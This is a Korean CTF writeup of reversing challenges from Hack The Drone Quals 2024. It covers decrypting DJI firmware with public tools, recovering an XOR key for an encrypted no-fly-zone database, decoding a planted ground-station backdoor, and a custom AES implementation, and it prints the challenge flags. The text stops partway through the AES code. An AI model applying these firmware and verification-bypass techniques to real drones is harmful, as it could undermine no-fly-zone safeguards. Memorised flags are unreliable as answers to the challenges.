# Hack The Drone Quals 2024 Writeup


- 2024년 9월 7일(토) 13:00 ~ 2024년 9월 8일(일) 13:00 (24h)
- `하입보잉원` 5위
- [CTFtime](https://ctftime.org/event/2474)
## Reversing
### 0. Real Firmware
#### Description

#### Solution
- 제공된 파일은 DJI Firmware이며 다음과 같은 펌웨어와 관련된 도구를 찾을 수 있음
- [펌웨어 복구 스크립트](https://github.com/Demion/DJI_FC/blob/master/DJI_FC.bat)
- [DJI 펌웨어 도구](https://github.com/o-gs/dji-firmware-tools)
- 위 도구를 활용하여 다음과 같은 스크립트를 실행해주면 바이너리 복구 가능
#### Code
```
python ./dji-firmware-tools/dji_imah_fwsig.py -u -i ./wm100_0306_v03.02.43.20_20170920.pro.fw.sig
python ./dji-firmware-tools/dji_mvfc_fwpak.py dec -i ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.bin
python ./dji-firmware-tools/dji_flyc_param_ed.py -x -b 0x420000 -m ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin
python ./dji_flyc_cmd_table.py -x -b 0x420000 -m ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin
move ./*.bin ./V01.00.0900_Spark_dji_system/
move ./*.ini ./V01.00.0900_Spark_dji_system/
move ./flyc_param_infos ./V01.00.0900_Spark_dji_system/
move ./config_command_table.txt ./V01.00.0900_Spark_dji_system/
python3 arm_bin2elf.py -vv -e -b 0x420000 --section .ARM.exidx@0x5277d0:0 --section .bss@0x20400000:0x60000 --section .bss2@0x400E0000:0x1000 --section .bss3@0xE0000000:0x10000 -p ../V01.00.0900_Spark_dji_system/wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin
```
- 복구 된 바이너리에서 skey 문자열 검색을 통해 관련 함수 식별 및 플래그 획득 가능

#### Flag
- HTD{7706a6bc9cffc497719525b39cea78e2}
### 1. NFZ
#### Description

#### Solution
- SQLite3 포맷의 데이터베이스 파일과 key 파일을 제공받아 validation check를 수행하는 바이너리
- key의 경우 0x20 바이트로 단순 xor 연산만 수행하여 known bytes와 encrypted bytes를 연산하여 복구 가능
- 상위 0x10 바이트의 경우 `SQLite format 3\x00` 값으로 구함
- 하위 0x10 바이트의 경우 상위 0x10바이트를 통해 복구된 문자열의 데이터를 활용하여 구함
- 암호화 알고리즘의 결과가 여러개 나올 수 있어 여러 블록의 역연산을 통해 고유한 키 획득 가능
#### Code
```python
def decrypt(encrypted_data, key):
size = len(encrypted_data)
decrypted_data = bytearray(size)
for i in range(size):
decrypted_data[i] = derive_key_byte(encrypted_data[i], key[i % len(key)], i)
return decrypted_data
def derive_key_byte(cipher_byte, plain_byte, i):
v4 = (((31 * i) ^ cipher_byte) - (i * plain_byte)) & 0xff
key_byte = (plain_byte ^ (((v4 >> 4) | (16 * v4)) - 85)) - plain_byte - i
return key_byte & 0xFF
def get_key(enc, org, i):
keys = []
for key in range(0, 0x80):
v3 = key
v4 = (((0x1F * i) ^ enc) - i * v3) & 0xFF;
res = ((v3 ^ (((v4 >> 4) | (0x10 * v4)) - 0x55)) - v3 - i) & 0xFF
if(res == org):
return key
key = bytes([55, 48,52, 101,100,97,57,101,102,97,48,98,98,52,53,99])
key += bytes([97, 55, 54, 55, 100, 99, 50, 100, 48, 57, 56, 97, 49, 98, 53, 55])
print(''.join(list(map(chr, key))))
nfz = open('nfz.db.enc', 'rb').read()
decrypted_data = decrypt(nfz, key)
open('nfz.db', 'wb').write(decrypted_data)
```
#### Flag
- HTD{H0w_dId_y0u_BypaSS_v3rific4Ti0n}
### 2. Ghost in the Ground Station
#### Description

#### Solution
- [오픈소스](https://github.com/mavlink/qgroundcontrol/blob/eb15982494f5815b9bd6a4ff1172de8593bba801/src/Vehicle/Vehicle.cc#L1071)를 활용하여 백도어 커맨드를 추가한 문제
- BATTERY_STATUS 관련 코드 위주로 오디팅하면 4바이트 값과 암호화 된 패킷을 xor하는 코드 발견 가능

- MAVLINK2 패킷 구조 상 고정되는 값을 활용해 key 복구 가능

#### Code
```python
import struct
p32 =lambda x : struct.pack("<I",x)
enc = [0x597093ef, 0xca71a49b, 0xd38a512, 0x6816de56, 0x342fc97e, 0x6807fa21, 0x352fcd25, 0x643d322, 0x2c46fa23, 0x6459021, 0x643cd25, 0x606d07e, 0x6e479170, 0x609d721, 0x3d2f9023, 0x24149121]
for x in range(0, 1):
flag = b''
for i in range(0, len(enc)):
flag += p32(enc[i] ^ 0x5970a512)
print(x, flag)
```
#### Flag
- HTD{f1ll_m3_w17h_l0v3_1_6u355_7h3_luv_b4773ry_15_d34d}
### 3. Simulator
#### Description

#### Solution
- [오픈소스](https://github.com/PX4/PX4-Autopilot/blob/bb0210ecd7028a14e7aaed850f4091fb5b9487da/src/modules/commander/Commander.cpp#L300)를 활용하여 커맨드를 추가한 문제
- check 커맨드 처리 과정에서 오픈소스에는 없는 함수 존재

- 해당 함수는 파일을 읽어 AES128으로 암호화 하는 기능 수행
- sbox: custom sbox 사용
- key: AES128_CipherKey
- mode: ECB
- transpose

#### Code
```python
class AES_implemented:
rcon = ([0x01, 0, 0, 0],
[0x02, 0, 0, 0],
[0x04, 0, 0, 0],
[0x08, 0, 0, 0],
[0x10, 0, 0, 0],
[0x20, 0, 0, 0],
[0x40, 0, 0, 0],
[0x80, 0, 0, 0],
[0x1b, 0, 0, 0],
[0x36, 0, 0, 0])
gf_mul_2 = (
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
)
gf_mul_3 = (
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
)
gf_mul_9 = (
0x00, 0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x3f, 0x48, 0x41, 0x5a, 0x53, 0x6c, 0x65, 0x7e, 0x77,
0x90, 0x99, 0x82, 0x8b, 0xb4, 0xbd, 0xa6, 0xaf, 0xd8, 0xd1, 0xca, 0xc3, 0xfc, 0xf5, 0xee, 0xe7,
0x3b, 0x32, 0x29, 0x20, 0x1f, 0x16, 0x0d, 0x04, 0x73, 0x7a, 0x61, 0x68, 0x57, 0x5e, 0x45, 0x4c,
0xab, 0xa2, 0xb9, 0xb0, 0x8f, 0x86, 0x9d, 0x94, 0xe3, 0xea, 0xf1, 0xf8, 0xc7, 0xce, 0xd5, 0xdc,
0x76, 0x7f, 0x64, 0x6d, 0x52, 0x5b, 0x40, 0x49, 0x3e, 0x37, 0x2c, 0x25, 0x1a, 0x13, 0x08, 0x01,
0xe6, 0xef, 0xf4, 0xfd, 0xc2, 0xcb, 0xd0, 0xd9, 0xae, 0xa7, 0xbc, 0xb5, 0x8a, 0x83, 0x98, 0x91,
0x4d, 0x44, 0x5f, 0x56, 0x69, 0x60, 0x7b, 0x72, 0x05, 0x0c, 0x17, 0x1e, 0x21, 0x28, 0x33, 0x3a,
0xdd, 0xd4, 0xcf, 0xc6, 0xf9, 0xf0, 0xeb, 0xe2, 0x95, 0x9c, 0x87, 0x8e, 0xb1, 0xb8, 0xa3, 0xaa,
0xec, 0xe5, 0xfe, 0xf7, 0xc8, 0xc1, 0xda, 0xd3, 0xa4, 0xad, 0xb6, 0xbf, 0x80, 0x89, 0x92, 0x9b,
0x7c, 0x75, 0x6e, 0x67, 0x58, 0x51, 0x4a, 0x43, 0x34, 0x3d, 0x26, 0x2f, 0x10, 0x19, 0x02, 0x0b,
0xd7, 0xde, 0xc5, 0xcc, 0xf3, 0xfa, 0xe1, 0xe8, 0x9f, 0x96, 0x8d, 0x84, 0xbb, 0xb2, 0xa9, 0xa0,
0x47, 0x4e, 0x55, 0x5c, 0x63, 0x6a, 0x71, 0x78, 0x0f, 0x06, 0x1d, 0x14, 0x2b, 0x22, 0x39, 0x30,
0x9a, 0x93, 0x88, 0x81, 0xbe, 0xb7, 0xac, 0xa5, 0xd2, 0xdb, 0xc0, 0xc9, 0xf6, 0xff, 0xe4, 0xed,
0x0a, 0x03, 0x18, 0x11, 0x2e, 0x27, 0x3c, 0x35, 0x42, 0x4b, 0x50, 0x59, 0x66, 0x6f, 0x74, 0x7d,
0xa1, 0xa8, 0xb3, 0xba, 0x85, 0x8c, 0x97, 0x9e, 0xe9, 0xe0, 0xfb, 0xf2, 0xcd, 0xc4, 0xdf, 0xd6,
0x31, 0x38, 0x23, 0x2a, 0x15, 0x1c, 0x07, 0x0e, 0x79, 0x70, 0x6b, 0x62, 0x5d, 0x54, 0x4f, 0x46
)
gf_mul_11 = (
0x00, 0x0b, 0x16, 0x1d, 0x2c, 0x27, 0x3a, 0x31, 0x58, 0x53, 0x4e, 0x45, 0x74, 0x7f, 0x62, 0x69,
0xb0, 0xbb, 0xa6, 0xad, 0x9c, 0x97, 0x8a, 0x81, 0xe8, 0xe3, 0xfe, 0xf5, 0xc4, 0xcf, 0xd2, 0xd9,
0x7b, 0x70, 0x6d, 0x66, 0x57, 0x5c, 0x41, 0x4a, 0x23, 0x28, 0x35, 0x3e, 0x0f, 0x04, 0x19, 0x12,
0xcb, 0xc0, 0xdd, 0xd6, 0xe7, 0xec, 0xf1, 0xfa, 0x93, 0x98, 0x85, 0x8e, 0xbf, 0xb4, 0xa9, 0xa2,
0xf6, 0xfd, 0xe0, 0xeb, 0xda, 0xd1, 0xcc, 0xc7, 0xae, 0xa5, 0xb8, 0xb3, 0x82, 0x89, 0x94, 0x9f,
0x46, 0x4d, 0x50, 0x5b, 0x6a, 0x61, 0x7c, 0x77, 0x1e, 0x15, 0x08, 0x03, 0x32, 0x39, 0x24, 0x2f,
0x8d, 0x86, 0x9b, 0x90, 0xa1, 0xaa, 0xb7, 0xbc, 0xd5, 0xde, 0xc3, 0xc8, 0xf9, 0xf2, 0xef, 0xe4,
0x3d, 0x36, 0x2b, 0x20, 0x11, 0x1a, 0x07, 0x0c, 0x65, 0x6e, 0x73, 0x78, 0x49, 0x42, 0x5f, 0x54,
0xf7, 0xfc, 0xe1, 0xea, 0xdb, 0xd0, 0xcd, 0xc6, 0xaf, 0xa4, 0xb9, 0xb2, 0x83, 0x88, 0x95, 0x9e,
0x47, 0x4c, 0x51, 0x5a, 0x6b, 0x60, 0x7d, 0x76, 0x1f, 0x14, 0x09, 0x02, 0x33, 0x38, 0x25, 0x2e,
0x8c, 0x87, 0x9a, 0x91, 0xa0, 0xab, 0xb6, 0xbd, 0xd4, 0xdf, 0xc2, 0xc9, 0xf8, 0xf3, 0xee, 0xe5,
0x3c, 0x37, 0x2a, 0x21, 0x10, 0x1b, 0x06, 0x0d, 0x64, 0x6f, 0x72, 0x79, 0x48, 0x43, 0x5e, 0x55,
0x01, 0x0a, 0x17, 0x1c, 0x2d, 0x26, 0x3b, 0x30, 0x59, 0x52, 0x4f, 0x44, 0x75, 0x7e, 0x63, 0x68,
0xb1, 0xba, 0xa7, 0xac, 0x9d, 0x96, 0x8b, 0x80, 0xe9, 0xe2, 0xff, 0xf4, 0xc5, 0xce, 0xd3, 0xd8,
0x7a, 0x71, 0x6c, 0x67, 0x56, 0x5d, 0x40, 0x4b, 0x22, 0x29, 0x34, 0x3f, 0x0e, 0x05, 0x18, 0x13,
0xca, 0xc1, 0xdc, 0xd7, 0xe6, 0xed, 0xf0, 0xfb, 0x92, 0x99, 0x84, 0x8f, 0xbe, 0xb5, 0xa8, 0xa3
)
gf_mul_13 = (
0x00, 0x0d, 0x1a, 0x17, 0x34, 0x39, 0x2e, 0x23, 0x68, 0x65, 0x72, 0x7f, 0x5c, 0x51, 0x46, 0x4b,
0xd0, 0xdd, 0xca, 0xc7, 0xe4, 0xe9, 0xfe, 0xf3, 0xb8, 0xb5, 0xa2, 0xaf, 0x8c, 0x81, 0x96, 0x9b,
0xbb, 0xb6, 0xa1, 0xac, 0x8f, 0x82, 0x95, 0x98, 0xd3, 0xde, 0xc9, 0xc4, 0xe7, 0xea, 0xfd, 0xf0,
0x6b, 0x66, 0x71, 0x7c, 0x5f, 0x52, 0x45, 0x48, 0x03, 0x0e, 0x19, 0x14, 0x37, 0x3a, 0x2d, 0x20,
0x6d, 0x60, 0x77, 0x7a, 0x59, 0x54, 0x43, 0x4e, 0x05, 0x08, 0x1f, 0x12, 0x31, 0x3c, 0x2b, 0x26,
0xbd, 0xb0, 0xa7, 0xaa, 0x89, 0x84, 0x93, 0x9e, 0xd5, 0xd8, 0xcf, 0xc2, 0xe1, 0xec, 0xfb, 0xf6,
0xd6, 0xdb, 0xcc, 0xc1, 0xe2, 0xef, 0xf8, 0xf5, 0xbe, 0xb3, 0xa4, 0xa9, 0x8a, 0x87, 0x90, 0x9d,
0x06, 0x0b, 0x1c, 0x11, 0x32, 0x3f, 0x28, 0x25, 0x6e, 0x63, 0x74, 0x79, 0x5a, 0x57, 0x40, 0x4d,
0xda, 0xd7, 0xc0, 0xcd, 0xee, 0xe3, 0xf4, 0xf9, 0xb2, 0xbf, 0xa8, 0xa5, 0x86, 0x8b, 0x9c, 0x91,
0x0a, 0x07, 0x10, 0x1d, 0x3e, 0x33, 0x24, 0x29, 0x62, 0x6f, 0x78, 0x75, 0x56, 0x5b, 0x4c, 0x41,
0x61, 0x6c, 0x7b, 0x76, 0x55, 0x58, 0x4f, 0x42, 0x09, 0x04, 0x13, 0x1e, 0x3d, 0x30, 0x27, 0x2a,
0xb1, 0xbc, 0xab, 0xa6, 0x85, 0x88, 0x9f, 0x92, 0xd9, 0xd4, 0xc3, 0xce, 0xed, 0xe0, 0xf7, 0xfa,
0xb7, 0xba, 0xad, 0xa0, 0x83, 0x8e, 0x99, 0x94, 0xdf, 0xd2, 0xc5, 0xc8, 0xeb, 0xe6, 0xf1, 0xfc,
0x67, 0x6a, 0x7d, 0x70, 0x53, 0x5e, 0x49, 0x44, 0x0f, 0x02, 0x15, 0x18, 0x3b, 0x36, 0x21, 0x2c,
0x0c, 0x01, 0x16, 0x1b, 0x38, 0x35, 0x22, 0x2f, 0x64, 0x69, 0x7e, 0x73, 0x50, 0x5d, 0x4a, 0x47,
0xdc, 0xd1, 0xc6, 0xcb, 0xe8, 0xe5, 0xf2, 0xff, 0xb4, 0xb9, 0xae, 0xa3, 0x80, 0x8d, 0x9a, 0x97
)
gf_mul_14 = (
0x00, 0x0e, 0x1c, 0x12, 0x38, 0x36, 0x24, 0x2a, 0x70, 0x7e, 0x6c, 0x62, 0x48, 0x46, 0x54, 0x5a,
0xe0, 0xee, 0xfc, 0xf2, 0xd8, 0xd6, 0xc4, 0xca, 0x90, 0x9e, 0x8c, 0x82, 0xa8, 0xa6, 0xb4, 0xba,
0xdb, 0xd5, 0xc7, 0xc9, 0xe3, 0xed, 0xff, 0xf1, 0xab, 0xa5, 0xb7, 0xb9, 0x93, 0x9d, 0x8f, 0x81,
0x3b, 0x35, 0x27, 0x29, 0x03, 0x0d, 0x1f, 0x11, 0x4b, 0x45, 0x57, 0x59, 0x73, 0x7d, 0x6f, 0x61,
0xad, 0xa3, 0xb1, 0xbf, 0x95, 0x9b, 0x89, 0x87, 0xdd, 0xd3, 0xc1, 0xcf, 0xe5, 0xeb, 0xf9, 0xf7,
0x4d, 0x43, 0x51, 0x5f, 0x75, 0x7b, 0x69, 0x67, 0x3d, 0x33, 0x21, 0x2f, 0x05, 0x0b, 0x19, 0x17,
0x76, 0x78, 0x6a, 0x64, 0x4e, 0x40, 0x52, 0x5c, 0x06, 0x08, 0x1a, 0x14, 0x3e, 0x30, 0x22, 0x2c,
0x96, 0x98, 0x8a, 0x84, 0xae, 0xa0, 0xb2, 0xbc, 0xe6, 0xe8, 0xfa, 0xf4, 0xde, 0xd0, 0xc2, 0xcc,
0x41, 0x4f, 0x5d, 0x53, 0x79, 0x77, 0x65, 0x6b, 0x31, 0x3f, 0x2d, 0x23, 0x09, 0x07, 0x15, 0x1b,
0xa1, 0xaf, 0xbd, 0xb3, 0x99, 0x97, 0x85, 0x8b, 0xd1, 0xdf, 0xcd, 0xc3, 0xe9, 0xe7, 0xf5, 0xfb,
0x9a, 0x94, 0x86, 0x88, 0xa2, 0xac, 0xbe, 0xb0, 0xea, 0xe4, 0xf6, 0xf8, 0xd2, 0xdc, 0xce, 0xc0,
0x7a, 0x74, 0x66, 0x68, 0x42, 0x4c, 0x5e, 0x50, 0x0a, 0x04, 0x16, 0x18, 0x32, 0x3c, 0x2e, 0x20,
0xec, 0xe2, 0xf0, 0xfe, 0xd4, 0xda, 0xc8, 0xc6, 0x9c, 0x92, 0x80, 0x8e, 0xa4, 0xaa, 0xb8, 0xb6,
0x0c, 0x02, 0x10, 0x1e, 0x34, 0x3a, 0x28, 0x26, 0x7c, 0x72, 0x60, 0x6e, 0x44, 0x4a, 0x58, 0x56,
0x37, 0x39, 0x2b, 0x25, 0x0f, 0x01, 0x13, 0x1d, 0x47, 0x49, 0x5b, 0x55, 0x7f, 0x71, 0x63, 0x6d,
0xd7, 0xd9, 0xcb, 0xc5, 0xef, 0xe1, 0xf3, 0xfd, 0xa7, 0xa9, 0xbb, 0xb5, 0x9f, 0x91, 0x83, 0x8d
)
sbox = (
0x7d, 0x0c, 0x21, 0x55, 0x63, 0x14, 0x69, 0xe1, 0x26, 0xd6, 0x77, 0xba, 0x7e, 0x04, 0x2b, 0x17, 0x61, 0x99, 0x53, 0x83, 0x3c, 0xbb, 0xeb, 0xc8, 0xb0, 0xf5, 0x2a, 0xae, 0x4d, 0x3b, 0xe0, 0xa0, 0xef, 0x9c, 0xc9, 0x93, 0x9f, 0x7a, 0xe5, 0x2d, 0x0d, 0x4a, 0xb5, 0x19, 0xa9, 0x7f, 0x51, 0x60, 0x5f, 0xec, 0x80, 0x27, 0x59, 0x10, 0x12, 0xb1, 0x31, 0xc7, 0x07, 0x88, 0x33, 0xa8, 0xdd, 0x1f, 0xf4, 0x5a, 0xcd, 0x78, 0xfe, 0xc0, 0xdb, 0x9a, 0x20, 0x79, 0xd2, 0xc6, 0x4b, 0x3e, 0x56, 0xfc, 0x1b, 0xbe, 0x18, 0xaa, 0x0e, 0x62, 0xb7, 0x6f, 0x89, 0xc5, 0x29, 0x1d, 0x71, 0x1a, 0xf1, 0x47, 0x6e, 0xdf, 0x75, 0x1c, 0xe8, 0x37, 0xf9, 0xe2, 0x85, 0x35, 0xad, 0xe7, 0x22, 0x74, 0xac, 0x96, 0x73, 0xe6, 0xb4, 0xf0, 0xce, 0xcf, 0xf2, 0x97, 0xea, 0xdc, 0x67, 0x4f, 0x41, 0x11, 0x91, 0x3a, 0x6b, 0x8a, 0x13, 0x01, 0x03, 0xbd, 0xaf, 0xc1, 0x02, 0x0f, 0x3f, 0xca, 0x8f, 0x1e, 0x2c, 0xd0, 0x06, 0x45, 0xb3, 0xb8, 0x05, 0x58, 0xe4, 0xf7, 0x0a, 0xd3, 0xbc, 0x8c, 0x00, 0xab, 0xd8, 0x90, 0x84, 0x9d, 0x8d, 0xa7, 0x57, 0x46, 0x15, 0x5e, 0xda, 0xb9, 0xed, 0xfd, 0x50, 0x48, 0x70, 0x6c, 0x92, 0xb6, 0x65, 0x5d, 0xcc, 0x5c, 0xa4, 0xd4, 0x16, 0x98, 0x68, 0x86, 0x64, 0xf6, 0xf8, 0x72, 0x25, 0xd1, 0x8b, 0x6d, 0x49, 0xa2, 0x5b, 0x76, 0xb2, 0x24, 0xd9, 0x28, 0x66, 0xa1, 0x2e, 0x08, 0x4e, 0xc3, 0xfa, 0x42, 0x0b, 0x95, 0x4c, 0xee, 0x3d, 0x23, 0xc2, 0xa6, 0x32, 0x94, 0x7b, 0x54, 0xcb, 0xe9, 0xde, 0xc4, 0x44, 0x43, 0x8e, 0x34, 0x87, 0xff, 0x2f, 0x9b, 0x82, 0x39, 0xe3, 0x7c, 0xfb, 0xd7, 0xf3, 0x81, 0x9e, 0xa3, 0x40, 0xbf, 0x38, 0xa5, 0x36, 0x30, 0xd5, 0x6a, 0x09, 0x52
)
sbox_inv = (
156, 131, 136, 132, 13, 148, 144, 58, 207, 254, 152, 212, 1, 40, 84, 137, 53, 125, 54, 130, 5, 166, 184, 15, 82, 43, 93, 80, 99, 91, 141, 63, 72, 2, 108, 217, 201, 192, 8, 51, 203, 90, 26, 14, 142, 39, 206, 234, 251, 56, 220, 60, 231, 105, 250, 101, 248, 237, 127, 29, 20, 216, 77, 138, 246, 124, 211, 229, 228, 145, 165, 95, 173, 196, 41, 76, 214, 28, 208, 123, 172, 46, 255, 18, 223, 3, 78, 164, 149, 52, 65, 198, 181, 179, 167, 48, 47, 16, 85, 4, 188, 178, 204, 122, 186, 6, 253, 128, 175, 195, 96, 87, 174, 92, 191, 112, 109, 98, 199, 10, 67, 73, 37, 222, 239, 0, 12, 45, 50, 243, 236, 19, 160, 104, 187, 232, 59, 88, 129, 194, 155, 162, 230, 140, 159, 126, 176, 35, 221, 213, 111, 119, 185, 17, 71, 235, 33, 161, 244, 36, 31, 205, 197, 245, 182, 249, 219, 163, 61, 44, 83, 157, 110, 106, 27, 134, 24, 55, 200, 146, 114, 42, 177, 86, 147, 169, 11, 21, 154, 133, 81, 247, 69, 135, 218, 209, 227, 89, 75, 57, 23, 34, 139, 224, 180, 66, 116, 117, 143, 193, 74, 153, 183, 252, 9, 241, 158, 202, 168, 70, 121, 62, 226, 97, 30, 7, 103, 238, 150, 38, 113, 107, 100, 225, 120, 22, 49, 170, 215, 32, 115, 94, 118, 242, 64, 25, 189, 151, 190, 102, 210, 240, 79, 171, 68, 233
)
def __init__(self, key):
assert isinstance(key, bytes) and len(key) == 16
self._block_size = 16
self._round = 10
self._round_keys = []
self._state = []
def _transpose(self, m):
return [m[4 * j + i] for i in range(4) for j in range(4)]
def _xor(self, a, b):
return [x ^ y for x, y in zip(a, b)]
def _expand_key(self, key):
round_keys = [[c for c in key]]
for round_n in range(self._round):
prev_round_key = round_keys[round_n]
round_key = prev_round_key[-4:]
round_key = round_key[1:] + round_key[:1]
round_key = [self.sbox[i] for i in round_key]
round_key = self._xor(
self._xor(round_key, prev_round_key[:4]), self.rcon[round_n]
)
for i in range(0, 12, 4):
round_key += self._xor(round_key[i : i + 4], prev_round_key[i + 4 : i + 8])
round_keys.append(round_key)
for round_n in range(self._round + 1):
round_keys[round_n] = self._transpose(round_keys[round_n])
return round_keys
def _add_round_key(self, round_n):
self._state = self._xor(self._state, self._round_keys[round_n])
def _sub_bytes(self):
self._state = [self.sbox[c] for c in self._state]
def _sub_bytes_inv(self):
self._state = [self.sbox_inv[c] for c in self._state]
def _shift_rows(self):
self._state = [
self._state[0], self._state[1], self._state[2], self._state[3],
self._state[5], self._state[6], self._state[7], self._state[4],
self._state[10], self._state[11], self._state[8], self._state[9],
self._state[15], self._state[12], self._state[13], self._state[14]
]
def _shift_rows_inv(self):
self._state = [
self._state[0], self._state[1], self._state[2], self._state[3],
self._state[7], self._state[4], self._state[5], self._state[6],
self._state[10], self._state[11], self._state[8], self._state[9],
self._state[13], self._state[14], self._state[15], self._state[12]
]
def _mix_columns(self):
s = [0] * self._block_size
for i in range(4):
s[i] = self.gf_mul_2[self._state[i]] ^ self.gf_mul_3[self._state[i + 4]] ^ self._state[i + 8] ^ self._state[i + 12]
s[i + 4] = self._state[i] ^ self.gf_mul_2[self._state[i + 4]] ^ self.gf_mul_3[self._state[i + 8]] ^ self._state[i + 12]
s[i + 8] = self._state[i] ^ self._state[i + 4] ^ self.gf_mul_2[self._state[i + 8]] ^ self.gf_mul_3[self._state[i + 12]]
s[i + 12] = self.gf_mul_3[self._state[i]] ^ self._state[i + 4] ^ self._state[i + 8] ^ self.gf_mul_2[self._state[i + 12]]
self._state = s
def _mix_columns_inv(self):
s = [0] * self._block_size
for i in range(4):
s[i] = self.gf_mul_14[self._state[i]] ^ self.gf_mul_11[self._state[i + 4]] ^ self.gf_mul_13[self._state[i + 8]] ^ self.gf_mul_9[self._state[i + 12]]
s[i + 4] = self.gf_mul_9[self._state[i]] ^ self.gf_mul_14[self._state[i + 4]] ^ self.gf_mul_11[self._state[i + 8]] ^ self.gf_mul_13[self._state[i + 12]]
s[i + 8] = self.gf_mul_13[self._state[i]] ^ self.gf_mul_9[self._state[i + 4]] ^ self.gf_mul_14[self._state[i + 8]] ^ self.gf_mul_11[self._state[i + 12]]
